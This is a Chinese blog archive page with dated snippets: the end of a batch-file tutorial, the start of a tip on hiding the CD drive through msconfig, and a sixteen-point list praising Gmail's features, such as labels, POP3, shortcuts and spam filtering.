批处理的语法其实很简单,但需要灵活的运用。希望这篇教程能让大家以后都熟练的使用批处理,一些基本的问题可以*自己的能力去解决。这样我的目的也就达到了!!哈哈!大家快乐才是真的快乐。 February 24 让光驱隐身简单再简单1. 在“运行”中输入“msconfig”,打开“系统配置实用程序”。 February 20 Gmail邮箱的优点1.Google提供的,自然搜索技术要用上,支持邮件全文搜索,速度极快,邮件真正多起来以后查找和管理是关键,一封封邮件查找,费时费力的年代过去了! 2.标签进行分类,便于你自己的管理,甚至结合标签让你的一个gmail变成各个独立不同功能的邮箱,发送的来邮件就有了一个归类,比如我创建一个work标签,然后告诉别人工作相关的资料都发到vista8+work@gmail.com ,在创建一个person标签,让自己的亲朋好友发邮件发到 vista8+person@gmail.com . 3.POP3邮件接收和转发,这样gmail就可以成为一个邮件中转,google不怕你忠诚度不高,今后转用其他邮箱或使用outlook、hotmail接收邮件而看不到他们的关键字广告。当然google把这个默认pop3支持给关了,你只需要打开,按照gmail的邮箱帮助设置即可,注意smtp端口设置和一般的不太一样。 4.自动保存,默认2分钟自动保存一次你正在写的邮件,这样就不容易丢失重要信件了,放心胆大的写邮件吧。 5.全面支持键盘操作,Shift+C就可以在新窗口写邮件,组合键g+i就可以到收件箱,y在不同的会话界面有不同的作用,比如加星号标示重要性,还有很多快捷键和技巧可以看帮助和自己摸索,对于那些使用笔记本不爱使用外接鼠标的朋友这个太方便了,而且操作效率更高。 6.将gmail的语言设置为英文后,你还会发现一个web clip功能,就是一个简单的rss阅读器,可以添加自己喜欢的feed和atom地址。 7.防止垃圾邮件技术很棒,垃圾邮件你尽管发,反正我容量大,而且自动识别归类到垃圾邮件箱中,而且可以根据关键字、邮件地址自定义进行邮件过滤和识别。 8.会话组织,同一个邮件地址和你的对话都会显示到一起像一个对话一样,阅读和查找都很方便。 9.安全,很多不安全的附件比如exe文件是不允许发送的,一定程度上限制了病毒的email传播,要发送的话也可以自己处理压缩成其他可以支持的格式,而且从一开始就实用SSL安全协议传输邮件,保证了邮件的安全性和秘密性。 10.设置签名档,就像泡论坛的签名一样自己写,做为公司的话,尽可以把你的公司网址和介绍附带上。 11.自动回复,据说是已经有这个功能了,还没有尝试过,也相当实用。 12.对于中文来说支持UTF-8和gb2312编码,这样就不会收到乱码的中文邮件了。 13.使用ajax技术,使用起来用户体验很好,速度很快,虽然使用ajax技术,但是对firefox浏览器支持很好。 14.支持wap浏览使用,手机上看gmail链接速度很棒,很快而且界面友好操作方便, 15.发送接收的邮件不会附带邮件提供商的广告,虽然通过adsense赚取广告费,但比163邮箱每封邮件都附带广告形式好些,而且你使用第三方邮件软件通过pop3的发送接收邮件的时候就可以不用看广告了。 16.产品组合,有了gmail你基本上有了一个google的的服务通行证,可以使用gmail登录google talk,可以使用google的个性主页服务,可以使用google的个性化搜索等等,进一步使用gmail获得orkut社会交友网站sns的邀请。 |
|
|